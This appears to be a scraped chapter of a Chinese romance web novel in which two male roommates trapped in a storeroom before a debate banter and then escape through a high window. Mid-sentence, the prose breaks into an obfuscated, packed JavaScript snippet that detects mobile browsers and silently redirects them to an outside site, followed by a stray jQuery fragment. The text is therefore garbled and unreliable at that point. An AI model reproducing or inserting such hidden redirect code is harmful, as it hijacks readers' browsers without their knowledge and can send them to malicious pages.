14. 小黑屋
作品:《室友让我每天给他晚安吻》 “哇!你不是应该在辩论赛现场做准备吗?为什么在这儿?来多久了?冷不冷饿不饿渴不渴怕不怕有没有挨揍——”
祝言围在裴见青身边左右横跳。
连珠炮似的发问在逼仄的空间里炸开,绝对是哪怕嘴里塞个口球,都能用奶狗般的哼唧烦死人的程度。
裴见青捡起地上的彩球在掌心掂了掂,抛向墙壁又稳稳接住:“刚到不久,状态俱佳,各方面能力都不受影响。”
祝言:“你怎么来的?”
手腕发力,彩球再次在空中划出完美的抛物线。
裴见青答得干脆利落:“当然是被人骗来的。”
我信你个锤子。
祝言小跳一下,伸手截断他抛来抛去的彩球:“我好歹能和你读一所大学,谎话别那么敷衍好吗?”
裴见青:“你呢?也是被骗来的。”
“哦,那倒不是,我是帮别人来取——”祝言简单说起经过,忽然一顿,未说完的话哽在喉间。
事发突然且离谱,自己被困在这里,最严重的影响就是赛前点人,球员只要没有及时就位,就会被取消参赛资格,一旦自己不能参赛,那就只有郑文杰这个替补上位,这套理论放在裴见青的处境一样受用。
“噢我懂了!绝对是郑文杰和他那个邓什么的室友!”
几乎能听见阴谋齿轮咔哒转动的声音,祝言猛地从沙发站起来,泛红的眼尾暴露出他此刻的焦躁。
“我曾经以为你的脑回路只能蹦出欧亨利都意想不到的情节。”
裴见青投来略微惊讶的一眼,“原来也有接上正轨的时候。”
祝言自动过滤他话语里的揶揄:“所以你昨天是不是在提醒我!你早知道他们想干坏事!你是故意送人头的!”
裴见青无声地挑了一下眉。
祝言:“到底是不是!”
裴见青唇角含着笑:“我只是一个与你同病相怜的无辜受害者,怎么有能力未卜先知。”
“哼,你不承认我也不信,我聪明着呢。”
祝言又气又想笑,让裴见青扶着他,抬起一条腿,对准门把手狠狠地踹上几脚。
裴见青的手很宽,贴在他后腰扶得很稳。
因潮湿生满铁锈的门板颤音轰鸣不断,然而却纹丝不动。
祝言不踢了,叉腰歇气:“还好被困的是我们,就算传出去也没什么。”
裴见青:“怎么说?”
“你没看过电视剧吗,那种孤男寡女被困密室,反派再从某个犄角旮旯弄根竹管吹点迷烟……”
祝言边说边鼓起腮帮子,呼呼吹两下,拍手道,“哇!那接下来可就是意乱情迷水乳交融颠鸾倒凤不知天地为何物了!”
裴见青:“也不一定需要迷烟。”
“对对对,有些剧情就没有那些奇妙小道具,说着说着话就开始亲嘴——”
意识到话题逐渐跑偏,祝言立马回神,对裴见青安抚般拍了拍他肩膀,“不过我们是两个直男,他们也没有下作到极点,不然可就惨了。”
裴见青下颌一偏,觑了眼他搭在肩膀的手:“错了,惨的多半是你。”
“???”
祝言歪了歪头,瞬间反应过来,条件反射地质问,“凭什么!我不服!”
裴见青:“我从来没有见过你晨.勃。”
日!
这都让你发现了!
眼睛钻我被窝了不成!
祝言喉结仓促滚动,从嘴唇里蹦句:“它可能赖床。”
裴见青微微颔首:“看来我的比较准时。”
“啊我服了——”
祝言捂脸绝望,他们都快要被取消参赛资格了,居然还在这里讨论这种没有营养的话题!
他额头贴在墙壁降温,重新沉浸于郑文杰他们为什么要冒风险使坏的困惑中。
裴见青:“这种事算不得什么大风险,就算事后教练辅导员这些人知道了又如何?不会记过甚至不会通报,校庆营造的和谐积极氛围高于一切,这种小事还没有与学校形象相提并论的程度。”
祝言愣了一下,慢慢盘腿坐的地上。
现实摆在面前,祝言有点憋屈,世界上比他优秀的人千千万,他从未动过这种念头,自然无法认同对方的所作所为。
而这种超出他道德底线的行为,却无法受到同等量级的惩罚,就会令祝言更加难受。
他烦躁地丢开彩球:“无语,烦死了,傻逼去死,他们的动机离谱到堪称荒诞。”
裴见青的手指往他蓬松的头顶摸了一下:“很正常,通常情况下人们崇拜天才,又会排挤过于拔尖的天才。”
“比如邓什么还有论坛那些人?”
祝言拍开他的手,无语地撇了撇嘴,“他为什么这么讨厌你?”
裴见青习以为常:“大概是因为我的存在,让他脆弱的自尊心比较受挫。”
祝言手肘撑在膝盖,托着脸偏头:“有没有一种可能,是因为你说话比较气人。”
裴见青勾起唇角:“怎么会,我向来很注重礼貌。”
“算了,说这些也没用,还是想办法出去吧,这里一点信号都没有,他们还挺会挑地方。”
祝言起身踹开地上的杂物,举起手机晃悠,余光瞥见裴见青闲情逸致地坐回沙发,他不由愣道,“裴少,你怎么一点都不急?”
“我为什么要急?”
“你不想出去吗?”
“不打算现在出去。”
“不是,为什么啊少爷!”祝言被他的话弄得有点晕,急了,“你还真打算让邓什么顶替你啊!”
裴见青没有应声,但祝言知道他就是这个意思。
祝言拍了下手,摊开:“完了,这次辩论社估计会输。”
裴见青云淡风轻:“那是邓回轩该关心的事,他既然要代替我,当然也要承担输赢压力。”
说着他不在意地笑了一声,如同赌场里将祝你好运挂在嘴边的荷官,轻描淡写道,“希望他能力足够。”
祝言:“要是真输了,其他人会不会难过,毕竟你和他们一起准备了挺久。”
裴见青挑眉:“我为什么要负担别人的情绪?”
祝言微微一怔,似乎没有料到向来矜贵得体的人会如此直白。
“加入辩论队只是个过于随性的邀约,社长没能平衡新旧成员的关系,内部分工不明行事拖沓,从一开始就是浪费时间,我提供资料只是尽了应尽的义务,至于比赛结果……”
裴见青的声音依旧平静,“如果输了,他们正好可以感知现实社会不是热血动漫,努力与回报从不存在必然等式。”
而他也能欣赏一些蠢货狼狈收场的闹剧。
裴见青没有把话说完,随着最后一个字音消失,好整以暇地撑着脸看向祝言,等待对方如常人般谴责自己过于理性冷漠,又或是横眉竖目的激烈反驳。
可预想中的暴风骤雨始终未至。
祝言呆呆地愣在原地,眼睛逐渐转起蚊香圈:“好沉重好哲学……我听不懂……我就只是想赚学分哩……”
他失去力气地耷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266368|166590||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拉着脸,像阴雨天死活要出门遛弯的犟种,整个人贴墙壁像块煎饼似的翻来翻去:“学分学分学分……打球打球打球……”
裴见青视线随着他来回移动,兀地笑了一声。
他不紧不慢地走到沙发侧边,一脚蹬在扶手,反手脱掉正装外套。
祝言不解:“你干啥?”
裴见青:“不是想出去吗?”
祝言欣喜:“你有办法?”
裴见青嗯了声:“毕竟这又不是只能做.爱才能出去的房间。”
“诶我服了……裴少你也真是的……”
祝言扶额摇头,“求求你忘了吧”
“可能很难。”
裴见青看着他若有所思,“毕竟你看着很纯,脑子里却像长了个凰文库ai。”
“我——”
在对方羞恼前,裴见青收起揶揄的语调,脚在沙发扶手上顺势一蹬。
整架沙发竟贴着地面平移到了墙角,随着惯性重重撞上墙壁,发出砰然巨响!
沃日,吃菠菜了?
祝言震惊之余,听裴见青颇为淡定的说——
“抬头,朝上看。”
接近天花板的墙壁,有一扇布满灰尘的玻璃窗,刚好可以容纳一个人通过。
祝言瞬间反应过来,低头四下搜寻,扛了个铁皮柜叠上沙发。
然而并没有什么卵用,距离窗口还差一段距离,臂力再强也没法发力。
祝言刚想说什么,一侧头,就见裴见青已经先一步蹲下。
“踩我。”
衬衫覆在宽而笔挺的后背,被绷得没有一丝褶皱。
祝言颤巍巍地提起脚,悬在那件昂贵整洁的布料上方怎么也落不下去。
就在这时,一只手攥住他的脚踝往肩旁一拉,祝言叫唤了声,随着重心不稳,分开双腿就这么坐了下去。
“草……”
只会在孩童时期出现的动作猝不及防复刻,祝言脸颊绯红,大气都不敢出地悄悄往后挪。
“乱动什么。”
裴见青轻松地站起,仿佛并不在意肩头压着一个成年男性的重量,握住垂在他胸前的两条腿往前一耸,后颈贴来了团有些柔软的触感。
“啊啊啊啊!你他妈别耸!我不、不动了……”
祝言竭力压下心底那丝羞耻,手肘搭在窗台,借力撑了上去。
窗口很窄,祝言整个人完全踩上去,想回头把裴见青再拉上来时,才发现根本不可能。
而裴见青本人似乎也只打算送他出去而已,朝他挥了下手,转身从铁皮柜跳了下去。
祝言张了张嘴,最后什么也没说,转头钻出窗外。
一墙之隔的走廊响起了轻盈的落地声,裴见青拎起外套拍了拍。
还不等他处理完沾染的灰尘,锈迹斑斑的房门突然震颤起来。
朝内开的铁门无法从里面踹开,但在外面却容易得多。
数不清多少记重踹落下,门轴处突然传来金属断裂的刺耳声响,整个饱经风霜的把手连带锁扣"哐当"砸在门槛。
祝言扶着摇摇欲坠的门板喘气,被扬起的灰尘呛得偏头咳嗽了几声。
“先说好,我不是有意改变你的想法,就是单纯不想留你一个人在这儿,所以……”
他抬起头,那双眼睛格外清亮,正透过弥漫的尘雾望过来——
“要不和我一起走?”
裴见青看着他,如同初见一片在漫长记忆中从未得见的风景,话在舌尖辗转数回,最终化作一声真心实意的轻笑。